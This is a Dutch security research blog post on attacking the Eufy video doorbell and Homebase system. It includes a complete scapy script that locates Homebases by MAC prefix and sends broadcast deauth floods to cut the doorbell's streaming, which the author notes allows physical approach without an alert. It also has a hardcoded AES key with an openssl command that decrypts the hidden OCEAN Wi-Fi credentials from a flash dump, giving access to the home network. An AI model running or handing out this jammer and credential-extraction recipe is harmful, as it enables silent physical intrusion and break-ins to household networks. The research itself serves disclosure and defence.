Van je deurbel naar je thuisnetwerk

Inhoudsopgave

Dit artikel is aanzienlijk langer dan wat ik gewoonlijk schrijf, dus deze inhoudsopgave stelt je in staat om direct naar de sectie te springen die je het meeste interesseert. Hoewel deze kleine uil natuurlijk dolgraag zou hebben dat je alles leest.

  • 0x00 Preambule: Introductie over hoe dit onderzoek is begonnen.
  • 0x01 Introductie tot het ecosysteem: Korte uitleg over het product, de componenten en hun onderlinge relatie.
  • 0x02 Jamming: Hoe je de deurbel op afstand kunt ontkoppelen van het "beheernetwerk" om video/audiostreaming te voorkomen. Inclusief een Proof of Concept.
  • 0x03 Soundwave sync-protocol: Reverse engineering van het soundwave-protocol dat wordt gebruikt om de deurbel te synchroniseren met de homebase.
  • 0x04 Extraheren en ontsleutelen van OCEAN_XXXXXX credentials uit memory dump: Herstel en reverse engineering van het versleutelde configuratiebestand dat de inloggegevens bevat die de deurbel gebruikt om verbinding te maken met het verborgen netwerk.

---

0x00 Preambule

Afgelopen juni kreeg ik de kans om een presentatie te geven op het EuskalHack-congres (mijn praatje was een eenvoudige '101' over AD-joined Linux-omgevingen). Ik nam mijn zwager mee, omdat hij bijna klaar was met zijn master in computerwetenschappen en ik hem een glimp van de hackingwereld wilde laten zien om zijn interesse te wekken.

Ik had geluk: de presentatie van Pepelux over hoe hij een video-intercom had gepwned, wekte enorm zijn interesse. Daarom besloot ik daarop in te spelen en voorstelde ik om deze zomer als leerproces een gadget te hacken.

Het duurde een paar weken voordat ik op een doelwit uitkwam. Op een dag merkte ik tijdens een wandeling door mijn stad het enorme aantal videodeurbellen op. Helaas is mijn stad besmet met die moderne kanker: ongecontroleerd toerisme en de vernietiging van het lokale gemeenschapsleven door kortstondige toeristische verhuur. Het is een tumor die groeit en necrose veroorzaakt in het sociale weefsel van onze wijken.

Dus deed ik het voor de hand liggende... uitzoeken welk model het meest wordt gebruikt en proberen dit te pwnen. Zo richtte ik mijn pijlen op het "Eufy Security Video Doorbell"-ecosysteem.

0x01 Introductie tot het ecosysteem

Ik kocht deze "Eufy Security Video Doorbell" via internet. Zoals te zien is op de doos, bestaat het systeem uit twee delen: de "Homebase Station 2" en de "Doorbell" zelf. De Homebase fungeert als centraal knooppunt (hub) waarmee de gebruiker verbinding maakt met het internet (via wifi of ethernetkabel), terwijl de videodeurbel bij de deur wordt geplaatst. De deurbel (en naar ik aanneem ook andere Eufy-producten) communiceert met het Homebase-station via een verborgen wifi-netwerk.

Alles wordt bediend via hun mobiele app. Hiermee kun je communiceren met de Homebase, nieuwe apparaten toevoegen en alle typische functies uitvoeren die je van zo'n systeem verwacht.

Er was een USENIX-presentatie over dit ecosysteem genaamd Reverse Engineering the Eufy Ecosystem: A Deep Dive into Security Vulnerabilities and Proprietary Protocols. De auteurs richtten zich op de lage entropie die wordt gebruikt om de pre-shared key (PSK) te genereren voor het verborgen netwerk dat de Homebase gebruikt om apparaten te beheren. Dit onderzoek dateert uit 2023 en Eufy heeft sindsdien veel gewijzigd (bijvoorbeeld is de PSK niet meer 8 bytes), maar één ding blijft waar: het verborgen netwerk heet OCEAN_XXXXXX, waarbij het suffix de laatste 24 bits van het MAC-adres van de Homebase is.

Omdat de deurbel op een gegeven moment met internet moet communiceren, fungeert de Homestation als gateway. Als je verbinding maakt met dat verborgen netwerk, kun je vrij surfen. Ook geeft dit toegang tot andere elementen in het netwerk, zoals de webinterface van je router.

0x02 Jamming

Het eerste wat ik me afvroeg was: als dit standaard WPA2 gebruikt zonder extra bescherming, is het dan kwetsbaar voor deauth-pakketten? Het antwoord is: ja, natuurlijk. Je kunt het op afstand bestoken met deauth-pakketten waardoor het apparaat wordt ontkoppeld van het verborgen netwerk. De video/audio wordt dan wel lokaal opgenomen, maar niet gestreamd naar de Homebase of de app. Dit biedt een interessante manier om fysiek benadering te zoeken zonder dat er een melding komt.

Disclaimer: Ik spoor niet aan tot vandalisme; ik spreek hier over Threat Modelling.

Het identificeren van Homebases is eenvoudig omdat de eerste 24 bits van het MAC-adres bekend zijn (zowel de deurbel als de homebase gebruiken hetzelfde prefix): 90:bf:d9. Met een oude Alfa wifi-antenne en een Raspberry Pi kun je beacons zoeken van stations met dit MAC-prefix. Vervolgens bepaal je welk kanaal wordt gebruikt en stuur je een probe request voor OCEAN_XXXXXX (gebouwd met de laatste 24 bits van het gevonden MAC). Als er een probe response komt, heb je een Homebase gevonden en kun je broadcast deauth-pakketten naar dat netwerk sturen.

Hieronder volgt een script dat dit proces samenvat:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dot11 import Dot11, Dot11Elt
from scapy.layers.dot11 import RadioTap
import subprocess, time

ch = None
ssid = None
bssid = None
iface = "wlan1"
whale_mac = None
whale_ssid = None

def banner():
    print("\t\t-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-\n\n")
    print('''
    _==|
    _==|   )__)  |
    )_)  )___) ))
    )___) )____))_)
    _    )____)_____))__)\\
    \\---__|____/|___|___-\\\\---
    ^^^^^^^^^\\   oo oo oo oo     /~~^^^^^^^
    ~^^^^ ~~~~^^~~~~^^~~^^~~~~~
    ~~^^      ~^^~     ~^~ ~^ ~^
    ~^~~        ~~~^^~
    ''')

def beacon_handler(pkt):
    global ch
    global ssid
    global bssid
    if ch is not None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type != 0 or d.subtype not in (5,8):
        return
    if d.addr2 and d.addr2.lower()[:8] == "90:bf:d9":
        cur = pkt
        while True:
            cur = cur.payload
            if cur is None or cur == NoPayload:
                return
            if isinstance(cur, Dot11Elt) and cur.ID == 3:
                if len(cur.info) >= 1:
                    ch = cur.info[0]
                    ssid = "OCEAN_" + d.addr2.upper()[8:].replace(":","")
                    bssid = d.addr2.upper()
                    break
    if ch != None:
        print("[*] Arr!! Our lookout has spotted movement on channel " + str(ch) + "!!")
    return

def set_channel(mon_iface):
    subprocess.run(["sudo", "iw", "dev", mon_iface, "set", "channel", str(ch)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def build_req():
    global ssid
    global bssid
    rt = RadioTap()
    dot11 = Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="90:bf:d9:9f:13:37", addr3=bssid)
    probe_req = (
        rt / dot11 /
        Dot11Elt(ID=0, info=ssid.encode()) /
        Dot11Elt(ID=1, info=bytes([0x82,0x84,0x8b,0x96,0x0c,0x12,0x18,0x24])) /
        Dot11Elt(ID=50, info=bytes([0x30,0x48,0x60,0x6c])) /
        Dot11Elt(ID=3, info=bytes([2])) /
        Dot11Elt(ID=45, info=bytes([0x30]) + bytes(25)) /
        Dot11Elt(ID=221, info=bytes([0xaa,0xbb,0xcc,0x00,0x00,0x00,0x36,0x18]))
    )
    cur = probe_req
    while True:
        cur = cur.payload
        if cur is None or cur == NoPayload:
            break
        if isinstance(cur, Dot11Elt) and cur.ID == 3:
            cur.info = bytes([ch])
            break
    return probe_req

def handle_probe_resp(pkt):
    global whale_mac
    global whale_ssid
    if whale_mac != None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type == 0 and d.subtype == 5:
        if d.addr1 and d.addr1.lower() == "90:bf:d9:9f:13:37":
            whale_mac = d.addr2.upper()
            cur = pkt
            while True:
                cur = cur.payload
                if isinstance(cur, Dot11Elt) and cur.ID == 0:
                    whale_ssid = cur.info.decode("utf-8", errors="ignore")
                    break
            print("[*] Our lookout confirmed it! It's a big one!!")
            print("\t\t\t" + whale_ssid + "\t" + whale_mac)
    return

def deauth():
    global whale_mac
    global iface
    packet = RadioTap() / \
        Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=whale_mac, addr3=whale_mac) / \
        Dot11Deauth(reason=7)
    print("[*] Launching 500 harpoons to hunt that whale!")
    for x in range(0,500):
        sendp(packet, iface=iface, verbose=False)

def main():
    banner()
    print("[*] Baleeiro is watching the ocean...")
    sniff(iface=iface, prn=beacon_handler, store=False, timeout=5)
    if ch is None:
        print("[!] Arr!! The ocean is empty today!!\n")
        exit(1)
    set_channel(iface)
    sniffer = AsyncSniffer(iface=iface, prn=handle_probe_resp, store=False)
    sniffer.start()
    time.sleep(0.05)
    sendp(build_req(), iface=iface, count=1, inter=0.01, verbose=False)
    time.sleep(2)
    sniffer.stop()
    if whale_ssid != None:
        print("[*] It's time to grab the harpoons! Press enter when you wanna start the hunt!")
        input()
        deauth()

if __name__ == "__main__":
    main()

Het script verzendt 500 pakketten omdat dat in mijn lokale setup voldoende was. Eigenlijk ontdekte ik dit per ongeluk toen ik probeerde de 4-way handshake te vangen om deze met hashcat te kraken.

0x03 Soundwave sync-protocol

Om de deurbel met de HomeBase te verbinden, moet deze gesynchroniseerd worden. Op het eerste gezicht lijkt dit proces te vertrouwen op geluidsgolven. Dit trok mijn aandacht omdat ik nooit eerder met signalen had gewerkt.

Uit onderzoek bleek dat de Homebase een SSID en een PSK via geluid verzendt, maar dit is voor een tijdelijk hotspot. Zodra de deurbel verbinding maakt met deze hotspot, worden de credentials van het verborgen wifi-netwerk 'out-of-band' gedeeld, waarna de deurbel definitief verbinding maakt met dat netwerk. De gegevens van de tijdelijke hotspot veranderen elke keer dat de Homebase wordt herstart.

Ik ben bioloog en heb geen achtergrond in wiskunde of telecommunicatie, dus ik heb hulp gevraagd aan Gonzalo Carracedo (creator van SigDigger). Hij stelde vast dat:

  • Er 19 frequenties worden gebruikt.
  • Er een verschil van 150 Hz tussen deze frequenties zit.
  • Er een gat is (één frequentie wordt nooit gebruikt).
  • Symbolen een geschatte duur hebben van 65 ms.

Ik heb de firmware van de deurbel gedumpt door test hooks op het flashgeheugen aan te sluiten en de SPI0-interface van een Raspberry Pi te gebruiken. Door in de ELF-bestanden te zoeken naar "SSID", vond ik een interessante functie:

uint FUN_000b4f28(int param_1,int param_2)
{
    // ... (code voor initialisatie frequenties)
    iVar4 = 12000;
    do {
        piVar3 = piVar3 + 1;
        *piVar3 = iVar4;
        iVar4 = iVar4 + 0x96; // 0x96 is 150Hz
    } while (iVar4 != 0x3a02);
    // ...
}

Deze code initialiseert de capture van de 19 frequenties. Door analyse van de firmware en hulp van ChatGPT begreep ik dat de recognized tones worden omgezet naar nibbles. De mapping is simpel: tonen 2 tot 17 mappen op nibbles 0 tot F. Tonen 18 en 19 fungeren als "control" tonen om herhalingen aan te geven, wat helpt bij het filteren van ruis in de echte wereld.

De tabel met betekenissen is als volgt:

  • Toon 1: Marker/Guard (scheidt blokken van 15 symbolen).
  • Tonen 2-17: Nibbles 0-F.
  • Tonen 18-19: Controle tonen voor herhaling.

De laatste twee nibbles in een blok worden gebruikt door een Reed-Solomon-functie (FUN_000bcd4) om fouten te corrigeren. Het laatste, verkorte blok bevat een CRC-16 check.

Ik vond uiteindelijk de functie decodeWifiSSID (gebaseerd op pseudo-code van FUN_000b6514), die de SSID en het wachtwoord uit de gedecodeerde data haalt:

bool decodeWifiSSID(Context *ctx, uint8_t *data, int dataLen, WifiInfo *out) {
    // ...
    int ssidLen = (((header0 & 1) << 4) | header1) + 1;
    int decoded = decodePayload(data + 2, dataLen - 2, &consumed, out, ssidLen, 0x21);
    out->ssid[ssidLen] = '\0';
    // ... Decode wachtwoord
    return true;
}

Om dit te valideren, bouwde ik een "encoder" en creëerde ik een synthetisch audiobestand met mijn eigen wifi-gegevens. Na het indrukken van de sync-knop op de deurbel, probeerde deze onmiddellijk verbinding te maken met mijn Raspberry Pi AP:

psyconauta@insulafructuum-i:~ $ sudo iw dev wlan0 station dump
Station 90:bf:d9:9f:97:fa (on wlan0)
...
authorized: yes
authenticated: yes
associated: yes

De deurbel gebruikte een statisch IP (192.168.32.250). Hoewel het verbinden van de deurbel op zich niet direct gevaarlijk is, was het proces vanHet reverse engineeren van het soundwave-protocol zeer leerzaam.

0x04 Extraheren en ontsleutelen van OCEAN_XXXXXX credentials uit flash memory

In de flash dump van een reeds gesynchroniseerde deurbel zouden de credentials van het verborgen netwerk moeten staan. Ik vond geen directe referentie aan "OCEAN", maar vond via analyse van de ELF-bestanden een functie die een configuratiebestand schrijft: es_config.

De sleutel voor dit bestand wordt gegenereerd uit hardcoded data. Een string van 64 bytes (abcdef...XYZ) wordt ge-XOR'd met een herhalend patroon van drie bytes (0x01, 0x04, 0x06), waarna er een MD5 hash van wordt gemaakt. Dit resulteert in de sleutel: C0C714B43806EF49 (of als hex-string: 43304337313442343338303645463439).

Het versleutelde bestand es_config kan worden ontsleuteld met AES-128-ECB:

tail -c +3 es_config | openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 | xxd

Dit onthult de OCEAN_XXXXXX SSID en het bijbehorende wachtwoord. Ik heb dit proces semi-geautomatiseerd door de mtdparts variabelen van U-Boot te extraheren uit de dump, het bestandssysteem (user.bin) te isoleren via dd, en vervolgens jffs2reader te gebruiken om het configuratiebestand te pakken.

Als iemand fysiek toegang heeft tot een deurbel (die we eerder hebben gejammed zodat de eigenaar niets merkt), kan men binnen 5 minuten de flash memory dumpen en de credentials van het verborgen netwerk extraheren.

Het grootste risico is dat het Homebase-netwerk niet geïsoleerd is. Zodra je bent verbonden met de OCEAN wifi, kun je internetten via het thuisnetwerk en ook andere apparaten bereiken (zoals de router). Ik kon onder andere de volgende services vinden op de Homebase zelf:

  • Port 53: DNS (dnsmasq 2.90)
  • Port 554: RTSP
  • Ports 10400, 10402, 10404: Onbekende services
  • Ports 20030, 20031: Onbekende services

0x05 Slotwoorden

Het is twee jaar geleden dat ik voor het laatst op deze blog schreef. In die tijd heb ik onderzoek gedaan, maar dat was altijd gerelateerd aan mijn werk als Red Teamer. Het gevoel van iets "hacken" puur voor het plezier en uren besteden aan onderzoek uit pure leergierigheid herontdekken is geweldig geweest. Ik ben opnieuw verbonden met mijn innerlijke uil.

Ik hoop dat jullie dit hebben kunnen waarderen! Feedback is welkom via Twitter @AdeptsOf0xCC.